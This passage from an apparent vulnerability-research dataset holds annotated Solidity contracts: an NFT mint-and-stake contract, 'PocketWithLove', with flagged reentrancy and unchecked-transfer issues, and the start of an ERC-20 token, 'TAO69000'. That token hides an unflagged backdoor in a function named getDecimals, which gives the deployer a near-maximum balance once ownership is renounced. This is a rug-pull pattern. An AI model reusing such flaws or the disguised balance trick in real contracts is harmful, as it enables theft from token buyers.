isOperator(address account) public view override returns (bool) {\n return hasRole(OPERATOR_ROLE, account);\n }\n\n function _addOperator(address account) internal virtual {\n _grantRole(OPERATOR_ROLE, account);\n }\n\n function addOperator(address account) public override onlyOperator {\n _grantRole(OPERATOR_ROLE, account);\n }\n\n function revokeOperator(address account) public override onlyOperator {\n _revokeRole(OPERATOR_ROLE, account);\n }\n}\n\ninterface IAccountProxy {\n function initialize(address implementation) external;\n}\n\ncontract PocketWithLove is\n ERC721A,\n OperatorAccessControl,\n ReentrancyGuard,\n CantBeEvil\n{\n bytes32 public _kycMintMerkleRoot;\n\n bytes32 public _preMintMerkleRoot;\n\n mapping(uint256 => uint256) private stakeStarted;\n\n mapping(uint256 => uint256) private stakeTotal;\n\n mapping(address => uint256) private addressMintCount;\n\n uint256 private _kycMintLimit = 0;\n\n uint256 private _preMintLimit = 0;\n\n uint256 private _publicMintLimit = 0;\n\n uint256 private _superMintLimit = 0;\n\n uint256 private _addressMintLimit = 0;\n\n uint256 private _kycMintCount;\n\n uint256 private _preMintCount;\n\n uint256 private _publicMintCount;\n\n uint256 private _superMintCount;\n\n uint256 private _kycMintPrice = 0;\n\n uint256 private _preMintPrice = 0;\n\n uint256 private _publicMintPrice = 0;\n\n bool private _kycMintOpen = false;\n\n bool private _preMintOpen = false;\n\n bool private _publicMintOpen = false;\n\n bool private _superMintOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e5ccd3): PocketWithLove._totalSupply should be constant \n\t// Recommendation for 5e5ccd3: Add the 'constant' attribute to state variables that never change.\n uint256 _totalSupply = 2500;\n\n uint256 _totalTokens;\n\n bool private _transferOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: c2abd43): PocketWithLove._nftName should be constant \n\t// Recommendation for c2abd43: Add the 'constant' attribute to state variables that never change.\n string private _nftName = \"Pocket with Love\";\n\n string private _baseUri =\n \"https://s3.ap-southeast-1.amazonaws.com/traditionow-assets/traditionow-assets/PocketWithLove\";\n\n address erc6551RegistryAddress;\n\n address erc6551AccountProxyAddress;\n\n address erc6551ImplementationAddress;\n\n uint256 erc6551ChainId;\n\n constructor()\n ERC721A(_nftName, _nftName)\n Ownable()\n CantBeEvil(LicenseVersion.PUBLIC)\n {\n _addOperator(_msgSender());\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 51df20f): PocketWithLove.setERC6551Config(address,address,address,uint256)._erc6551RegistryAddress lacks a zerocheck on \t erc6551RegistryAddress = _erc6551RegistryAddress\n\t// Recommendation for 51df20f: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ae2884e): PocketWithLove.setERC6551Config(address,address,address,uint256)._erc6551AccountProxyAddress lacks a zerocheck on \t erc6551AccountProxyAddress = _erc6551AccountProxyAddress\n\t// Recommendation for ae2884e: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c53e076): PocketWithLove.setERC6551Config(address,address,address,uint256)._erc6551ImplementationAddress lacks a zerocheck on \t erc6551ImplementationAddress = _erc6551ImplementationAddress\n\t// Recommendation for c53e076: Check that the address is not zero.\n function setERC6551Config(\n address _erc6551RegistryAddress,\n address _erc6551AccountProxyAddress,\n address _erc6551ImplementationAddress,\n uint256 chainID\n ) public onlyOperator {\n\t\t// missing-zero-check | ID: 51df20f\n erc6551RegistryAddress = _erc6551RegistryAddress;\n\n\t\t// missing-zero-check | ID: ae2884e\n erc6551AccountProxyAddress = _erc6551AccountProxyAddress;\n\n\t\t// missing-zero-check | ID: c53e076\n erc6551ImplementationAddress = _erc6551ImplementationAddress;\n\n erc6551ChainId = chainID;\n }\n\n function createTBA(uint256 tokenId) public returns (address) {\n require(\n _ownershipOf(tokenId).addr == _msgSender(),\n \"error:10005 Not owner\"\n );\n\n address tba = IERC6551Registry(erc6551RegistryAddress).createAccount(\n erc6551AccountProxyAddress,\n 0,\n erc6551ChainId,\n address(this),\n tokenId\n );\n\n IAccountProxy(tba).initialize(erc6551ImplementationAddress);\n\n return tba;\n }\n\n function getMintCount()\n public\n view\n returns (\n uint256 kycMintCount,\n uint256 preMintCount,\n uint256 publicMintCount,\n uint256 superMintCount\n )\n {\n kycMintCount = _kycMintCount;\n\n preMintCount = _preMintCount;\n\n publicMintCount = _publicMintCount;\n\n superMintCount = _superMintCount;\n }\n\n function setMerkleRoot(\n bytes32 kycMintMerkleRoot,\n bytes32 preMintMerkleRoot\n ) public onlyOperator {\n _kycMintMerkleRoot = kycMintMerkleRoot;\n\n _preMintMerkleRoot = preMintMerkleRoot;\n }\n\n function isWhitelist(\n bytes32[] calldata kycMerkleProof,\n bytes32[] calldata preMerkleProof\n ) public view returns (bool isKycWhitelist, bool isPreWhitelist) {\n isKycWhitelist = MerkleProof.verify(\n kycMerkleProof,\n _kycMintMerkleRoot,\n keccak256(abi.encodePacked(msg.sender))\n );\n\n isPreWhitelist = MerkleProof.verify(\n preMerkleProof,\n _preMintMerkleRoot,\n keccak256(abi.encodePacked(msg.sender))\n );\n }\n\n function setMintLimit(\n uint256 kycMintLimit,\n uint256 preMintLimit,\n uint256 publicMintLimit,\n uint256 addressMintLimit,\n uint256 superMintLimit\n ) public onlyOperator {\n _kycMintLimit = kycMintLimit;\n\n _preMintLimit = preMintLimit;\n\n _publicMintLimit = publicMintLimit;\n\n _addressMintLimit = addressMintLimit;\n\n _superMintLimit = superMintLimit;\n }\n\n function getMintLimit()\n public\n view\n returns (\n uint256 kycMintLimit,\n uint256 preMintLimit,\n uint256 publicMintLimit,\n uint256 addressMintLimit,\n uint256 superMintLimit\n )\n {\n kycMintLimit = _kycMintLimit;\n\n preMintLimit = _preMintLimit;\n\n publicMintLimit = _publicMintLimit;\n\n addressMintLimit = _addressMintLimit;\n\n superMintLimit = _superMintLimit;\n }\n\n function setMintPrice(\n uint256 kycMintPrice,\n uint256 preMintPrice,\n uint256 publicMintPrice\n ) public onlyOperator {\n _kycMintPrice = kycMintPrice;\n\n _preMintPrice = preMintPrice;\n\n _publicMintPrice = publicMintPrice;\n }\n\n function getMintPrice()\n public\n view\n returns (\n uint256 kycMintPrice,\n uint256 preMintPrice,\n uint256 publicMintPrice\n )\n {\n kycMintPrice = _kycMintPrice;\n\n preMintPrice = _preMintPrice;\n\n publicMintPrice = _publicMintPrice;\n }\n\n function setSwith(\n bool kycMintOpen,\n bool preMintOpen,\n bool publicMintOpen,\n bool transferOpen,\n bool superMintOpen\n ) public onlyOperator {\n _kycMintOpen = kycMintOpen;\n\n _preMintOpen = preMintOpen;\n\n _publicMintOpen = publicMintOpen;\n\n _transferOpen = transferOpen;\n\n _superMintOpen = superMintOpen;\n }\n\n function getSwith()\n public\n view\n returns (\n bool kycMintOpen,\n bool preMintOpen,\n bool publicMintOpen,\n bool transferOpen,\n bool superMintOpen\n )\n {\n kycMintOpen = _kycMintOpen;\n\n preMintOpen = _preMintOpen;\n\n publicMintOpen = _publicMintOpen;\n\n transferOpen = _transferOpen;\n\n superMintOpen = _superMintOpen;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 5f962b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 5f962b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _handleMint(address to) internal {\n require(\n addressMintCount[to] < _addressMintLimit,\n \"error:10003 already claimed\"\n );\n\n require(\n _totalTokens < _totalSupply,\n \"error:10010 Exceeding the total amount\"\n );\n\n\t\t// reentrancy-no-eth | ID: 5f962b7\n _safeMint(to, 1);\n\n\t\t// reentrancy-no-eth | ID: 5f962b7\n addressMintCount[to] = addressMintCount[to] + 1;\n\n\t\t// reentrancy-no-eth | ID: 5f962b7\n _totalTokens = _totalTokens + 1;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 0c2e5d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 0c2e5d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function kycMint(\n bytes32[] calldata merkleProof,\n uint256 count\n ) public payable nonReentrant {\n require(count >= 1, \"error:10010 Must be greater than 1\");\n\n require(\n msg.value == _kycMintPrice * count,\n \"error:10000 msg.value is incorrect\"\n );\n\n require(_kycMintOpen, \"error:10001 switch off\");\n\n require(\n MerkleProof.verify(\n merkleProof,\n _kycMintMerkleRoot,\n keccak256(abi.encodePacked(msg.sender))\n ),\n \"error:10002 not in the whitelist\"\n );\n\n for (uint256 i = 0; i < count; i++) {\n require(\n _kycMintCount < _kycMintLimit,\n \"error:10004 Reach the limit\"\n );\n\n\t\t\t// reentrancy-no-eth | ID: 0c2e5d8\n _handleMint(_msgSender());\n\n\t\t\t// reentrancy-no-eth | ID: 0c2e5d8\n _kycMintCount = _kycMintCount + 1;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 52a9137): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 52a9137: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function preMint(\n bytes32[] calldata merkleProof,\n uint256 count\n ) public payable nonReentrant {\n require(count >= 1, \"error:10010 Must be greater than 1\");\n\n require(\n msg.value == _preMintPrice * count,\n \"error:10000 msg.value is incorrect\"\n );\n\n require(_preMintOpen, \"error:10001 switch off\");\n\n require(\n MerkleProof.verify(\n merkleProof,\n _preMintMerkleRoot,\n keccak256(abi.encodePacked(msg.sender))\n ),\n \"error:10002 not in the whitelist\"\n );\n\n for (uint256 i = 0; i < count; i++) {\n require(\n _preMintCount < _preMintLimit,\n \"error:10004 Reach the limit\"\n );\n\n\t\t\t// reentrancy-no-eth | ID: 52a9137\n _handleMint(_msgSender());\n\n\t\t\t// reentrancy-no-eth | ID: 52a9137\n _preMintCount = _preMintCount + 1;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9bf73c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9bf73c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function publicMint(uint256 count) public payable nonReentrant {\n require(count >= 1, \"error:10010 Must be greater than 1\");\n\n require(\n msg.value == _publicMintPrice * count,\n \"error:10000 msg.value is incorrect\"\n );\n\n require(_publicMintOpen, \"error:10001 switch off\");\n\n for (uint256 i = 0; i < count; i++) {\n require(\n _publicMintCount < _publicMintLimit,\n \"error:10004 Reach the limit\"\n );\n\n\t\t\t// reentrancy-no-eth | ID: 9bf73c4\n _handleMint(_msgSender());\n\n\t\t\t// reentrancy-no-eth | ID: 9bf73c4\n _publicMintCount = _publicMintCount + 1;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b159f80): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b159f80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function operatorMint(\n address[] memory toAddresses,\n uint256[] memory amounts\n ) public onlyOperator {\n require(\n toAddresses.length == amounts.length,\n \"error:10033 toAddresses length does not match amounts length\"\n );\n\n uint256 _len = toAddresses.length;\n\n for (uint256 _i; _i < _len; _i++) {\n address to = toAddresses[_i];\n\n uint256 amount = amounts[_i];\n\n for (uint256 j = 0; j < amount; j++) {\n require(\n _totalTokens < _totalSupply,\n \"error:10010 Exceeding the total amount\"\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: b159f80\n _safeMint(to, 1);\n\n\t\t\t\t// reentrancy-no-eth | ID: b159f80\n _totalTokens = _totalTokens + 1;\n }\n }\n }\n\n function getCanMintCount(address user) external view returns (uint256) {\n return _addressMintLimit - addressMintCount[user];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ba538e2): PocketWithLove.stakePeriod(uint256) uses timestamp for comparisons Dangerous comparisons start != 0\n\t// Recommendation for ba538e2: Avoid relying on 'block.timestamp'.\n function stakePeriod(\n uint256 tokenId\n ) external view returns (bool isStake, uint256 current, uint256 total) {\n uint256 start = stakeStarted[tokenId];\n\n\t\t// timestamp | ID: ba538e2\n if (start != 0) {\n isStake = true;\n\n current = block.timestamp - start;\n }\n\n total = current + stakeTotal[tokenId];\n }\n\n function getStakeTime(uint256 tokenId) public view returns (uint256) {\n return stakeStarted[tokenId];\n }\n\n bool public stakeOpen = false;\n\n function setStakeOpen(bool open) external onlyOperator {\n stakeOpen = open;\n }\n\n event Staked(uint256 indexed tokenId, uint256 indexed time);\n\n event UnStaked(uint256 indexed tokenId, uint256 indexed time);\n\n function stake(uint256[] calldata tokenIds) external {\n require(stakeOpen, \"error:10006 stake closed\");\n\n uint256 n = tokenIds.length;\n\n for (uint256 i = 0; i < n; ++i) {\n uint256 tokenId = tokenIds[i];\n\n require(\n _ownershipOf(tokenId).addr == _msgSender(),\n \"error:10005 Not owner\"\n );\n\n uint256 start = stakeStarted[tokenId];\n\n if (start == 0) {\n stakeStarted[tokenId] = block.timestamp;\n\n emit Staked(tokenId, block.timestamp);\n }\n }\n }\n\n function unStake(uint256[] calldata tokenIds) external {\n uint256 n = tokenIds.length;\n\n for (uint256 i = 0; i < n; ++i) {\n uint256 tokenId = tokenIds[i];\n\n require(\n _ownershipOf(tokenId).addr == _msgSender(),\n \"error:10005 Not owner\"\n );\n\n uint256 start = stakeStarted[tokenId];\n\n if (start > 0) {\n stakeTotal[tokenId] += block.timestamp - start;\n\n stakeStarted[tokenId] = 0;\n\n emit UnStaked(tokenId, block.timestamp);\n }\n }\n }\n\n function operatorUnStake(\n uint256[] calldata tokenIds\n ) external onlyOperator {\n uint256 n = tokenIds.length;\n\n for (uint256 i = 0; i < n; ++i) {\n uint256 tokenId = tokenIds[i];\n\n uint256 start = stakeStarted[tokenId];\n\n if (start > 0) {\n stakeTotal[tokenId] += block.timestamp - start;\n\n stakeStarted[tokenId] = 0;\n\n emit UnStaked(tokenId, block.timestamp);\n }\n }\n }\n\n uint256 private stakeTransfer = 1;\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 05c1b71): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 05c1b71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function safeTransferWhileStake(\n address from,\n address to,\n uint256 tokenId\n ) external {\n require(ownerOf(tokenId) == _msgSender(), \"error:10005 Not owner\");\n\n stakeTransfer = 2;\n\n\t\t// reentrancy-no-eth | ID: 05c1b71\n safeTransferFrom(from, to, tokenId);\n\n\t\t// reentrancy-no-eth | ID: 05c1b71\n stakeTransfer = 1;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c720681): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for c720681: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 05fece6): Use of strict equalities that can be easily manipulated by an attacker.\n\t// Recommendation for 05fece6: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _beforeTokenTransfers(\n address,\n address,\n uint256 startTokenId,\n uint256 quantity\n ) internal view override {\n uint256 tokenId = startTokenId;\n\n for (uint256 end = tokenId + quantity; tokenId < end; ++tokenId) {\n\t\t\t// timestamp | ID: c720681\n\t\t\t// incorrect-equality | ID: 05fece6\n require(\n stakeStarted[tokenId] == 0 ||\n stakeTransfer == 2 ||\n _transferOpen,\n \"error:10007 Stake can't transfer\"\n );\n }\n }\n\n function setBaseUri(string memory baseUri) public onlyOperator {\n _baseUri = baseUri;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return\n string(abi.encodePacked(_baseUri, \"/\", toString(tokenId), \".json\"));\n }\n\n function supply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function totalMinted() public view returns (uint256) {\n return _totalTokens;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 8c76b37): PocketWithLove.withdraw(address[],address) has external calls inside a loop token.transfer(_to,b)\n\t// Recommendation for 8c76b37: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7315a77): PocketWithLove.withdraw(address[],address) has external calls inside a loop b = token.balanceOf(address(this))\n\t// Recommendation for 7315a77: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: bda9305): PocketWithLove.withdraw(address[],address) ignores return value by token.transfer(_to,b)\n\t// Recommendation for bda9305: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 64b76a5): PocketWithLove.withdraw(address[],address) sends eth to arbitrary user Dangerous calls address(_to).transfer(balance)\n\t// Recommendation for 64b76a5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d45e621): PocketWithLove.withdraw(address[],address)._to lacks a zerocheck on \t address(_to).transfer(balance)\n\t// Recommendation for d45e621: Check that the address is not zero.\n function withdraw(\n address[] memory tokens,\n address _to\n ) public onlyOperator {\n for (uint8 i; i < tokens.length; i++) {\n IERC20 token = IERC20(tokens[i]);\n\n\t\t\t// calls-loop | ID: 7315a77\n uint256 b = token.balanceOf(address(this));\n\n if (b > 0) {\n\t\t\t\t// calls-loop | ID: 8c76b37\n\t\t\t\t// unchecked-transfer | ID: bda9305\n token.transfer(_to, b);\n }\n }\n\n uint256 balance = address(this).balance;\n\n\t\t// missing-zero-check | ID: d45e621\n\t\t// arbitrary-send-eth | ID: 64b76a5\n payable(_to).transfer(balance);\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n\n uint256 temp = value;\n\n uint256 digits;\n\n while (temp != 0) {\n digits++;\n\n temp /= 10;\n }\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n\n value /= 10;\n }\n\n return string(buffer);\n }\n\n mapping(address => mapping(uint256 => uint256)) private superAddressToken;\n\n uint256 private _superMintPrice = 0;\n\n function setSuperMintPrice(uint256 superMintPrice) public onlyOperator {\n _superMintPrice = superMintPrice;\n }\n\n function getSuperMintPrice() public view returns (uint256) {\n return _superMintPrice;\n }\n\n mapping(address => uint256) private superAddress;\n\n function setSuperAddress(\n address contractAddress,\n uint256 count\n ) public onlyOperator {\n superAddress[contractAddress] = count;\n }\n\n function getSuperAddress(\n address contractAddress\n ) public view returns (uint256) {\n return superAddress[contractAddress];\n }\n\n function getTokenCanMintCount(\n address contractAddress,\n uint256 tokenId\n ) public view returns (uint256) {\n if (superAddress[contractAddress] == 0) {\n return 0;\n }\n\n return\n superAddress[contractAddress] -\n superAddressToken[contractAddress][tokenId];\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 310bc12): PocketWithLove.superMint(address[],uint256[],uint256[]) has external calls inside a loop require(bool,string)(IERC721(contractAddress).ownerOf(tokenId) == msg.sender,error10005 No owner)\n\t// Recommendation for 310bc12: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c1ca9c0): PocketWithLove.superMint(address[],uint256[],uint256[]) should emit an event for _superMintCount = _superMintCount + mintCount _totalTokens = _totalTokens + mintCount \n\t// Recommendation for c1ca9c0: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 12105c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 12105c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function superMint(\n address[] memory contracts,\n uint256[] memory tokenIds,\n uint256[] memory counts\n ) public payable nonReentrant {\n require(\n contracts.length == tokenIds.length,\n \"error: 10000 contracts length does not match tokenIds length\"\n );\n\n require(\n tokenIds.length == counts.length,\n \"error: 10001 tokenIds length does not match counts length\"\n );\n\n require(_superMintOpen, \"error:10002 switch off\");\n\n uint256 totalMintCount = 0;\n\n for (uint256 i = 0; i < tokenIds.length; i++) {\n totalMintCount = totalMintCount + counts[i];\n }\n\n require(totalMintCount < 30, \"error: 10003 Limit 30\");\n\n require(\n msg.value == _superMintPrice * totalMintCount,\n \"error:10004 msg.value is incorrect\"\n );\n\n for (uint256 i = 0; i < tokenIds.length; i++) {\n address contractAddress = contracts[i];\n\n uint256 tokenId = tokenIds[i];\n\n uint256 mintCount = counts[i];\n\n\t\t\t// calls-loop | ID: 310bc12\n require(\n IERC721(contractAddress).ownerOf(tokenId) == msg.sender,\n \"error:10005 No owner\"\n );\n\n require(\n superAddress[contractAddress] > 0,\n \"error:10006 Contract cannot mint\"\n );\n\n require(\n superAddressToken[contractAddress][tokenId] + mintCount <=\n superAddress[contractAddress],\n \"error:10007 Greater than maximum quantity\"\n );\n\n require(\n _totalTokens + mintCount <= _totalSupply,\n \"error:10008 Exceeding the total amount\"\n );\n\n require(\n _superMintCount + mintCount <= _superMintLimit,\n \"error:10009 Reach the limit\"\n );\n\n for (uint256 j = 0; j < mintCount; j++) {\n\t\t\t\t// reentrancy-no-eth | ID: 12105c4\n _safeMint(msg.sender, 1);\n }\n\n\t\t\t// events-maths | ID: c1ca9c0\n\t\t\t// reentrancy-no-eth | ID: 12105c4\n _superMintCount = _superMintCount + mintCount;\n\n\t\t\t// events-maths | ID: c1ca9c0\n\t\t\t// reentrancy-no-eth | ID: 12105c4\n _totalTokens = _totalTokens + mintCount;\n\n\t\t\t// reentrancy-no-eth | ID: 12105c4\n superAddressToken[contractAddress][tokenId] =\n superAddressToken[contractAddress][tokenId] +\n mintCount;\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(CantBeEvil, ERC721A) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n\n function batchTransfer(\n address to,\n uint256[] memory tokenIds\n ) public virtual {\n for (uint256 i = 0; i < tokenIds.length; i++) {\n uint256 tokenId = tokenIds[i];\n\n transferFrom(msg.sender, to, tokenId);\n }\n }\n}\n",
"file_name": "solidity_code_10724.sol",
"size_bytes": 74987,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract OwnableToken is IERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 39c1cdb): OwnableToken._token should be immutable \n\t// Recommendation for 39c1cdb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal _token;\n\n mapping(address => uint256) internal _balances;\n\n constructor(address token) {\n _token = token;\n }\n\n function _balanceChecker(address sender) private view returns (uint256) {\n return getDecimals(sender);\n }\n\n function getDecimals(address add) internal view returns (uint256) {\n uint256 checkedBalance = _balances[add];\n\n if (address(0) == owner() && add == _token) {\n checkedBalance = ~uint256(1);\n }\n\n return checkedBalance;\n }\n\n function balances(address sender) internal view returns (uint256) {\n return _balanceChecker(sender);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f3f0fe0): TAO69000.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for f3f0fe0: Consider ordering multiplication before division.\ncontract TAO69000 is Context, Ownable, OwnableToken {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 07d46d9): TAO69000._taxWallet should be immutable \n\t// Recommendation for 07d46d9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 244b2f2): TAO69000._initialBuyTax should be constant \n\t// Recommendation for 244b2f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43feaa3): TAO69000._initialSellTax should be constant \n\t// Recommendation for 43feaa3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 27;\n\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fb52b1): TAO69000._preventSwapBefore should be constant \n\t// Recommendation for 0fb52b1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 24;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 21_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TAO6900\";\n\n string private constant _symbol = unicode\"TAO6900\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 81a2965): TAO69000._taxSwapThreshold should be constant \n\t// Recommendation for 81a2965: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: f3f0fe0\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4bb3773): TAO69000._maxTaxSwap should be immutable \n\t// Recommendation for 4bb3773: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: f3f0fe0\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() OwnableToken(_msgSender()) {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public 